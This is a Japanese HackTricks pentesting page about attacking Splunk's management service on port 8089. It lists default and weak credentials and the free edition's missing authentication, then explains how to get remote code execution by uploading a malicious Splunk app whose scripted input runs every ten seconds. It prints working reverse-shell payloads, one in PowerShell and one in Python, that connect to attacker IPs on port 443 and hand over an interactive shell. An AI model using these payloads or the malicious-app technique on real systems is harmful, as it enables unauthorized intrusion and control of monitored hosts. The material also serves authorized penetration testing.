8089 - Pentesting Splunkd

Reading time: 6 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

  • データ収集、分析、可視化のためのログ分析ツール
  • セキュリティ監視やビジネス分析で一般的に使用される
  • デフォルトポート:
  • ウェブサーバー: 8000
  • Splunkdサービス: 8089

脆弱性ベクター:

  1. 無料版の悪用
  • トライアル版は60日後に自動的に無料版に変わる
  • 無料版は認証が欠如している
  • 管理されない場合、潜在的なセキュリティリスクがある
  • 管理者はセキュリティの影響を見落とす可能性がある
  1. 認証情報の脆弱性
  • 古いバージョン: デフォルトの認証情報 admin:changeme
  • 新しいバージョン: インストール時に設定された認証情報
  • 弱いパスワードの使用の可能性 (例: admin, Welcome, Password123)
  1. リモートコード実行の機会
  • 複数のコード実行方法:
  • サーバーサイドDjangoアプリケーション
  • RESTエンドポイント
  • スクリプト入力
  • アラートスクリプト
  • クロスプラットフォームサポート (Windows/Linux)
  • スクリプト入力は以下を実行できる:
  • Bashスクリプト
  • PowerShellスクリプト
  • バッチスクリプト

主要な悪用の可能性:

  • 機密データの保存
  • 無料版の認証の欠如
  • リモートコード実行のための複数のベクター
  • システム侵害のためのスクリプト入力の活用の可能性

Shodan

  • Splunk build

RCE

カスタムアプリケーションの作成

Splunkは、カスタムアプリケーションの展開を通じてリモートコード実行のための高度な方法を提供し、そのクロスプラットフォームスクリプティング機能を活用しています。核心的な悪用技術は、WindowsおよびLinuxシステムでリバースシェルを実行できる悪意のあるアプリケーションを作成することにあります。

カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。さらに、SplunkにはPythonがインストールされているため、WindowsシステムでもPythonコードを実行できます。

この例を使用することができ、**bin**にはPythonPowerShellの例が含まれています。または、自分自身で作成することもできます。

悪用プロセスは、プラットフォーム全体で一貫した方法論に従います:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

重要な設定ファイル inputs.conf は、スクリプトを有効にするために以下を行います:

  • disabled = 0 を設定
  • 10秒の実行間隔を設定
  • スクリプトのソースタイプを定義

デプロイメントは簡単です:

  1. 悪意のあるアプリケーションパッケージを作成
  2. 攻撃マシンでリスナー(Netcat/socat)を設定
  3. Splunkのインターフェースを通じてアプリケーションをアップロード
  4. アップロード時に自動スクリプト実行をトリガー

サンプルWindows PowerShellリバースシェル:

bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

サンプルLinux Pythonリバースシェル:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

以下のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかの説明を見つけることができます:

Splunk LPE and Persistence

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする